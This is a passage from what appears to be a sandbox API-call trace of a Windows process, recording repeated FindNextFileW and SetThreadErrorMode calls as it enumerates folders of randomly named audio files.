dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.906] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27b0cc30, ftCreationTime.dwHighDateTime=0x1d994c0, ftLastAccessTime.dwLowDateTime=0x55beac10, ftLastAccessTime.dwHighDateTime=0x1d99528, ftLastWriteTime.dwLowDateTime=0x55beac10, ftLastWriteTime.dwHighDateTime=0x1d99528, nFileSizeHigh=0x0, nFileSizeLow=0x2984, dwReserved0=0x0, dwReserved1=0x0, cFileName="69V7ZlNsE_6KW0Ym e.mp3", cAlternateFileName="69V7ZL~1.MP3")) returned 1 [0162.906] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x228c17e0, ftCreationTime.dwHighDateTime=0x1d99502, ftLastAccessTime.dwLowDateTime=0x25aa4970, ftLastAccessTime.dwHighDateTime=0x1d99984, ftLastWriteTime.dwLowDateTime=0x25aa4970, ftLastWriteTime.dwHighDateTime=0x1d99984, nFileSizeHigh=0x0, nFileSizeLow=0x10c92, dwReserved0=0x0, dwReserved1=0x0, cFileName="L9ni.wav", cAlternateFileName="")) returned 1 [0162.906] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d969720, ftCreationTime.dwHighDateTime=0x1d99c2c, ftLastAccessTime.dwLowDateTime=0x73cfd430, ftLastAccessTime.dwHighDateTime=0x1d99ca4, ftLastWriteTime.dwLowDateTime=0x73cfd430, ftLastWriteTime.dwHighDateTime=0x1d99ca4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="n8siGXFTdMtKcZh", cAlternateFileName="N8SIGX~1")) returned 1 [0162.907] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda2f5860, ftCreationTime.dwHighDateTime=0x1d998ec, ftLastAccessTime.dwLowDateTime=0x954afeb0, ftLastAccessTime.dwHighDateTime=0x1d99ad2, ftLastWriteTime.dwLowDateTime=0x954afeb0, ftLastWriteTime.dwHighDateTime=0x1d99ad2, nFileSizeHigh=0x0, nFileSizeLow=0x14898, dwReserved0=0x0, dwReserved1=0x0, cFileName="SB2jVQ1jZ7ziXzf4.mp3", cAlternateFileName="SB2JVQ~1.MP3")) returned 1 [0162.907] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41116b30, ftCreationTime.dwHighDateTime=0x1d99934, ftLastAccessTime.dwLowDateTime=0x9708c620, ftLastAccessTime.dwHighDateTime=0x1d99b94, ftLastWriteTime.dwLowDateTime=0x9708c620, ftLastWriteTime.dwHighDateTime=0x1d99b94, nFileSizeHigh=0x0, nFileSizeLow=0xf506, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZDzv.mp3", cAlternateFileName="")) returned 1 [0162.907] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41116b30, ftCreationTime.dwHighDateTime=0x1d99934, ftLastAccessTime.dwLowDateTime=0x9708c620, ftLastAccessTime.dwHighDateTime=0x1d99b94, ftLastWriteTime.dwLowDateTime=0x9708c620, ftLastWriteTime.dwHighDateTime=0x1d99b94, nFileSizeHigh=0x0, nFileSizeLow=0xf506, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZDzv.mp3", cAlternateFileName="")) returned 0 [0162.907] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e7cc) returned 1 [0162.907] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea2c) returned 1 [0162.907] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20008cb0, ftCreationTime.dwHighDateTime=0x1d993de, ftLastAccessTime.dwLowDateTime=0xe6cf59c0, ftLastAccessTime.dwHighDateTime=0x1d99b5e, ftLastWriteTime.dwLowDateTime=0xe6cf59c0, ftLastWriteTime.dwHighDateTime=0x1d99b5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.907] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27b0cc30, ftCreationTime.dwHighDateTime=0x1d994c0, ftLastAccessTime.dwLowDateTime=0x55beac10, ftLastAccessTime.dwHighDateTime=0x1d99528, ftLastWriteTime.dwLowDateTime=0x55beac10, ftLastWriteTime.dwHighDateTime=0x1d99528, nFileSizeHigh=0x0, nFileSizeLow=0x2984, dwReserved0=0x0, dwReserved1=0x0, cFileName="69V7ZlNsE_6KW0Ym e.mp3", cAlternateFileName="69V7ZL~1.MP3")) returned 1 [0162.908] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x228c17e0, ftCreationTime.dwHighDateTime=0x1d99502, ftLastAccessTime.dwLowDateTime=0x25aa4970, ftLastAccessTime.dwHighDateTime=0x1d99984, ftLastWriteTime.dwLowDateTime=0x25aa4970, ftLastWriteTime.dwHighDateTime=0x1d99984, nFileSizeHigh=0x0, nFileSizeLow=0x10c92, dwReserved0=0x0, dwReserved1=0x0, cFileName="L9ni.wav", cAlternateFileName="")) returned 1 [0162.908] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d969720, ftCreationTime.dwHighDateTime=0x1d99c2c, ftLastAccessTime.dwLowDateTime=0x73cfd430, ftLastAccessTime.dwHighDateTime=0x1d99ca4, ftLastWriteTime.dwLowDateTime=0x73cfd430, ftLastWriteTime.dwHighDateTime=0x1d99ca4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="n8siGXFTdMtKcZh", cAlternateFileName="N8SIGX~1")) returned 1 [0162.908] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda2f5860, ftCreationTime.dwHighDateTime=0x1d998ec, ftLastAccessTime.dwLowDateTime=0x954afeb0, ftLastAccessTime.dwHighDateTime=0x1d99ad2, ftLastWriteTime.dwLowDateTime=0x954afeb0, ftLastWriteTime.dwHighDateTime=0x1d99ad2, nFileSizeHigh=0x0, nFileSizeLow=0x14898, dwReserved0=0x0, dwReserved1=0x0, cFileName="SB2jVQ1jZ7ziXzf4.mp3", cAlternateFileName="SB2JVQ~1.MP3")) returned 1 [0162.908] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41116b30, ftCreationTime.dwHighDateTime=0x1d99934, ftLastAccessTime.dwLowDateTime=0x9708c620, ftLastAccessTime.dwHighDateTime=0x1d99b94, ftLastWriteTime.dwLowDateTime=0x9708c620, ftLastWriteTime.dwHighDateTime=0x1d99b94, nFileSizeHigh=0x0, nFileSizeLow=0xf506, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZDzv.mp3", cAlternateFileName="")) returned 1 [0162.908] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e7cc) returned 1 [0162.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea2c) returned 1 [0162.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e990) returned 1 [0162.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e990) returned 1 [0162.909] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e794 | out: lpFindFileData=0x5a2e794*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d969720, ftCreationTime.dwHighDateTime=0x1d99c2c, ftLastAccessTime.dwLowDateTime=0x73cfd430, ftLastAccessTime.dwHighDateTime=0x1d99ca4, ftLastWriteTime.dwLowDateTime=0x73cfd430, ftLastWriteTime.dwHighDateTime=0x1d99ca4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.909] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e794 | out: lpFindFileData=0x5a2e794*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad1425a0, ftCreationTime.dwHighDateTime=0x1d98eaf, ftLastAccessTime.dwLowDateTime=0x23aaad40, ftLastAccessTime.dwHighDateTime=0x1d999a2, ftLastWriteTime.dwLowDateTime=0x23aaad40, ftLastWriteTime.dwHighDateTime=0x1d999a2, nFileSizeHigh=0x0, nFileSizeLow=0x9450, dwReserved0=0x0, dwReserved1=0x0, cFileName="wARoxvlp.wav", cAlternateFileName="")) returned 1 [0162.909] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e794 | out: lpFindFileData=0x5a2e794*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6e79930, ftCreationTime.dwHighDateTime=0x1d99cbd, ftLastAccessTime.dwLowDateTime=0x8cde2be0, ftLastAccessTime.dwHighDateTime=0x1d99ce3, ftLastWriteTime.dwLowDateTime=0x8cde2be0, ftLastWriteTime.dwHighDateTime=0x1d99ce3, nFileSizeHigh=0x0, nFileSizeLow=0x2798, dwReserved0=0x0, dwReserved1=0x0, cFileName="xU9kprwq9.mp3", cAlternateFileName="XU9KPR~1.MP3")) returned 1 [0162.909] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e794 | out: lpFindFileData=0x5a2e794*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6189a90, ftCreationTime.dwHighDateTime=0x1d991c7, ftLastAccessTime.dwLowDateTime=0x6cdf8060, ftLastAccessTime.dwHighDateTime=0x1d998f0, ftLastWriteTime.dwLowDateTime=0x6cdf8060, ftLastWriteTime.dwHighDateTime=0x1d998f0, nFileSizeHigh=0x0, nFileSizeLow=0xb6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YBZFeG9.wav", cAlternateFileName="")) returned 1 [0162.910] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e794 | out: lpFindFileData=0x5a2e794*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6189a90, ftCreationTime.dwHighDateTime=0x1d991c7, ftLastAccessTime.dwLowDateTime=0x6cdf8060, ftLastAccessTime.dwHighDateTime=0x1d998f0, ftLastWriteTime.dwLowDateTime=0x6cdf8060, ftLastWriteTime.dwHighDateTime=0x1d998f0, nFileSizeHigh=0x0, nFileSizeLow=0xb6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YBZFeG9.wav", cAlternateFileName="")) returned 0 [0162.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e74c) returned 1 [0162.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e9ac) returned 1 [0162.910] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e794 | out: lpFindFileData=0x5a2e794*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d969720, ftCreationTime.dwHighDateTime=0x1d99c2c, ftLastAccessTime.dwLowDateTime=0x73cfd430, ftLastAccessTime.dwHighDateTime=0x1d99ca4, ftLastWriteTime.dwLowDateTime=0x73cfd430, ftLastWriteTime.dwHighDateTime=0x1d99ca4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.910] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e794 | out: lpFindFileData=0x5a2e794*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad1425a0, ftCreationTime.dwHighDateTime=0x1d98eaf, ftLastAccessTime.dwLowDateTime=0x23aaad40, ftLastAccessTime.dwHighDateTime=0x1d999a2, ftLastWriteTime.dwLowDateTime=0x23aaad40, ftLastWriteTime.dwHighDateTime=0x1d999a2, nFileSizeHigh=0x0, nFileSizeLow=0x9450, dwReserved0=0x0, dwReserved1=0x0, cFileName="wARoxvlp.wav", cAlternateFileName="")) returned 1 [0162.910] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e794 | out: lpFindFileData=0x5a2e794*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6e79930, ftCreationTime.dwHighDateTime=0x1d99cbd, ftLastAccessTime.dwLowDateTime=0x8cde2be0, ftLastAccessTime.dwHighDateTime=0x1d99ce3, ftLastWriteTime.dwLowDateTime=0x8cde2be0, ftLastWriteTime.dwHighDateTime=0x1d99ce3, nFileSizeHigh=0x0, nFileSizeLow=0x2798, dwReserved0=0x0, dwReserved1=0x0, cFileName="xU9kprwq9.mp3", cAlternateFileName="XU9KPR~1.MP3")) returned 1 [0162.911] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e794 | out: lpFindFileData=0x5a2e794*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6189a90, ftCreationTime.dwHighDateTime=0x1d991c7, ftLastAccessTime.dwLowDateTime=0x6cdf8060, ftLastAccessTime.dwHighDateTime=0x1d998f0, ftLastWriteTime.dwLowDateTime=0x6cdf8060, ftLastWriteTime.dwHighDateTime=0x1d998f0, nFileSizeHigh=0x0, nFileSizeLow=0xb6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YBZFeG9.wav", cAlternateFileName="")) returned 1 [0162.911] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e794 | out: lpFindFileData=0x5a2e794*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e74c) returned 1 [0162.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e9ac) returned 1 [0162.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea10) returned 1 [0162.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea10) returned 1 [0162.913] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f3bc650, ftCreationTime.dwHighDateTime=0x1d98dfb, ftLastAccessTime.dwLowDateTime=0x878313f0, ftLastAccessTime.dwHighDateTime=0x1d99d96, ftLastWriteTime.dwLowDateTime=0x878313f0, ftLastWriteTime.dwHighDateTime=0x1d99d96, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.913] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3040d300, ftCreationTime.dwHighDateTime=0x1d99613, ftLastAccessTime.dwLowDateTime=0xea46d800, ftLastAccessTime.dwHighDateTime=0x1d996a2, ftLastWriteTime.dwLowDateTime=0xea46d800, ftLastWriteTime.dwHighDateTime=0x1d996a2, nFileSizeHigh=0x0, nFileSizeLow=0x12022, dwReserved0=0x0, dwReserved1=0x0, cFileName="-hsXLHPSE2Gpg.mp3", cAlternateFileName="-HSXLH~1.MP3")) returned 1 [0162.913] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6979d010, ftCreationTime.dwHighDateTime=0x1d99b75, ftLastAccessTime.dwLowDateTime=0x4d11b420, ftLastAccessTime.dwHighDateTime=0x1d99da9, ftLastWriteTime.dwLowDateTime=0x4d11b420, ftLastWriteTime.dwHighDateTime=0x1d99da9, nFileSizeHigh=0x0, nFileSizeLow=0x116ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="I8XORrtvAJLXKmnbtrs.m4a", cAlternateFileName="I8XORR~1.M4A")) returned 1 [0162.913] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ba9be0, ftCreationTime.dwHighDateTime=0x1d99507, ftLastAccessTime.dwLowDateTime=0xe3d8a300, ftLastAccessTime.dwHighDateTime=0x1d99971, ftLastWriteTime.dwLowDateTime=0xe3d8a300, ftLastWriteTime.dwHighDateTime=0x1d99971, nFileSizeHigh=0x0, nFileSizeLow=0xa1e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Li_8A-UY.wav", cAlternateFileName="")) returned 1 [0162.913] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85efa50, ftCreationTime.dwHighDateTime=0x1d98da4, ftLastAccessTime.dwLowDateTime=0x671f3d80, ftLastAccessTime.dwHighDateTime=0x1d995ff, ftLastWriteTime.dwLowDateTime=0x671f3d80, ftLastWriteTime.dwHighDateTime=0x1d995ff, nFileSizeHigh=0x0, nFileSizeLow=0x8353, dwReserved0=0x0, dwReserved1=0x0, cFileName="RE3_9X-yu-SSwhMc.mp3", cAlternateFileName="RE3_9X~1.MP3")) returned 1 [0162.914] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdffc2940, ftCreationTime.dwHighDateTime=0x1d99599, ftLastAccessTime.dwLowDateTime=0xc27c7050, ftLastAccessTime.dwHighDateTime=0x1d99760, ftLastWriteTime.dwLowDateTime=0xc27c7050, ftLastWriteTime.dwHighDateTime=0x1d99760, nFileSizeHigh=0x0, nFileSizeLow=0x1800a, dwReserved0=0x0, dwReserved1=0x0, cFileName="tjL0lG.mp3", cAlternateFileName="")) returned 1 [0162.914] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdac92860, ftCreationTime.dwHighDateTime=0x1d99b52, ftLastAccessTime.dwLowDateTime=0x49434de0, ftLastAccessTime.dwHighDateTime=0x1d99c73, ftLastWriteTime.dwLowDateTime=0x49434de0, ftLastWriteTime.dwHighDateTime=0x1d99c73, nFileSizeHigh=0x0, nFileSizeLow=0x131f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="U0af.mp3", cAlternateFileName="")) returned 1 [0162.914] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdac92860, ftCreationTime.dwHighDateTime=0x1d99b52, ftLastAccessTime.dwLowDateTime=0x49434de0, ftLastAccessTime.dwHighDateTime=0x1d99c73, ftLastWriteTime.dwLowDateTime=0x49434de0, ftLastWriteTime.dwHighDateTime=0x1d99c73, nFileSizeHigh=0x0, nFileSizeLow=0x131f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="U0af.mp3", cAlternateFileName="")) returned 0 [0162.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e7cc) returned 1 [0162.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea2c) returned 1 [0162.914] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f3bc650, ftCreationTime.dwHighDateTime=0x1d98dfb, ftLastAccessTime.dwLowDateTime=0x878313f0, ftLastAccessTime.dwHighDateTime=0x1d99d96, ftLastWriteTime.dwLowDateTime=0x878313f0, ftLastWriteTime.dwHighDateTime=0x1d99d96, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.914] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3040d300, ftCreationTime.dwHighDateTime=0x1d99613, ftLastAccessTime.dwLowDateTime=0xea46d800, ftLastAccessTime.dwHighDateTime=0x1d996a2, ftLastWriteTime.dwLowDateTime=0xea46d800, ftLastWriteTime.dwHighDateTime=0x1d996a2, nFileSizeHigh=0x0, nFileSizeLow=0x12022, dwReserved0=0x0, dwReserved1=0x0, cFileName="-hsXLHPSE2Gpg.mp3", cAlternateFileName="-HSXLH~1.MP3")) returned 1 [0162.914] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6979d010, ftCreationTime.dwHighDateTime=0x1d99b75, ftLastAccessTime.dwLowDateTime=0x4d11b420, ftLastAccessTime.dwHighDateTime=0x1d99da9, ftLastWriteTime.dwLowDateTime=0x4d11b420, ftLastWriteTime.dwHighDateTime=0x1d99da9, nFileSizeHigh=0x0, nFileSizeLow=0x116ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="I8XORrtvAJLXKmnbtrs.m4a", cAlternateFileName="I8XORR~1.M4A")) returned 1 [0162.915] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ba9be0, ftCreationTime.dwHighDateTime=0x1d99507, ftLastAccessTime.dwLowDateTime=0xe3d8a300, ftLastAccessTime.dwHighDateTime=0x1d99971, ftLastWriteTime.dwLowDateTime=0xe3d8a300, ftLastWriteTime.dwHighDateTime=0x1d99971, nFileSizeHigh=0x0, nFileSizeLow=0xa1e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Li_8A-UY.wav", cAlternateFileName="")) returned 1 [0162.915] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85efa50, ftCreationTime.dwHighDateTime=0x1d98da4, ftLastAccessTime.dwLowDateTime=0x671f3d80, ftLastAccessTime.dwHighDateTime=0x1d995ff, ftLastWriteTime.dwLowDateTime=0x671f3d80, ftLastWriteTime.dwHighDateTime=0x1d995ff, nFileSizeHigh=0x0, nFileSizeLow=0x8353, dwReserved0=0x0, dwReserved1=0x0, cFileName="RE3_9X-yu-SSwhMc.mp3", cAlternateFileName="RE3_9X~1.MP3")) returned 1 [0162.915] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdffc2940, ftCreationTime.dwHighDateTime=0x1d99599, ftLastAccessTime.dwLowDateTime=0xc27c7050, ftLastAccessTime.dwHighDateTime=0x1d99760, ftLastWriteTime.dwLowDateTime=0xc27c7050, ftLastWriteTime.dwHighDateTime=0x1d99760, nFileSizeHigh=0x0, nFileSizeLow=0x1800a, dwReserved0=0x0, dwReserved1=0x0, cFileName="tjL0lG.mp3", cAlternateFileName="")) returned 1 [0162.915] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdac92860, ftCreationTime.dwHighDateTime=0x1d99b52, ftLastAccessTime.dwLowDateTime=0x49434de0, ftLastAccessTime.dwHighDateTime=0x1d99c73, ftLastWriteTime.dwLowDateTime=0x49434de0, ftLastWriteTime.dwHighDateTime=0x1d99c73, nFileSizeHigh=0x0, nFileSizeLow=0x131f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="U0af.mp3", cAlternateFileName="")) returned 1 [0162.915] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0162.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e7cc) returned 1 [0162.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea2c) returned 1 [0162.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea10) returned 1 [0162.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea10) returned 1 [0162.917] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e387b00, ftCreationTime.dwHighDateTime=0x1d99c15, ftLastAccessTime.dwLowDateTime=0x4658c930, ftLastAccessTime.dwHighDateTime=0x1d99c54, ftLastWriteTime.dwLowDateTime=0x4658c930, ftLastWriteTime.dwHighDateTime=0x1d99c54, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0162.917] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8caf350, ftCreationTime.dwHighDateTime=0x1d99b92, ftLastAccessTime.dwLowDateTime=0x277ec070, ftLastAccessTime.dwHighDateTime=0x1d99ca7, ftLastWriteTime.dwLowDateTime=0x277ec070, ftLastWriteTime.dwHighDateTime=0x1d99ca7, nFileSizeHigh=0x0, nFileSizeLow=0xd1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsuOsA4r0 23U.mp3", cAlternateFileName="MSUOSA~1.MP3")) returned 1 [0162.917] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc9ac960, ftCreationTime.dwHighDateTime=0x1d99474, ftLastAccessTime.dwLowDateTime=0x2de32810, ftLastAccessTime.dwHighDateTime=0x1d999f1, ftLastWriteTime.dwLowDateTime=0x2de32810, ftLastWriteTime.dwHighDateTime=0x1d999f1, nFileSizeHigh=0x0, nFileSizeLow=0x16d79, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wwq2Xl38E.mp3", cAlternateFileName="WWQ2XL~1.MP3")) returned 1 [0162.918] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bb678c0, ftCreationTime.dwHighDateTime=0x1d99ba6, ftLastAccessTime.dwLowDateTime=0x204db4d0, ftLastAccessTime.dwHighDateTime=0x1d99cfe, ftLastWriteTime.dwLowDateTime=0x204db4d0, ftLastWriteTime.dwHighDateTime=0x1d99cfe, nFileSizeHigh=0x0, nFileSizeLow=0x13a5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Zh3S.m4a", cAlternateFileName="")) returned 1 [0162.918] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e814 | out: lpFindFileData=0x5a2e814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bb678c0, ftCreationTime.dwHighDateTime=0x1d99ba6, ftLastAccessTime.dwLowDateTime=0x204db4d0, ftLastAccessTime.dwHighDateTime=0x1d99cfe, 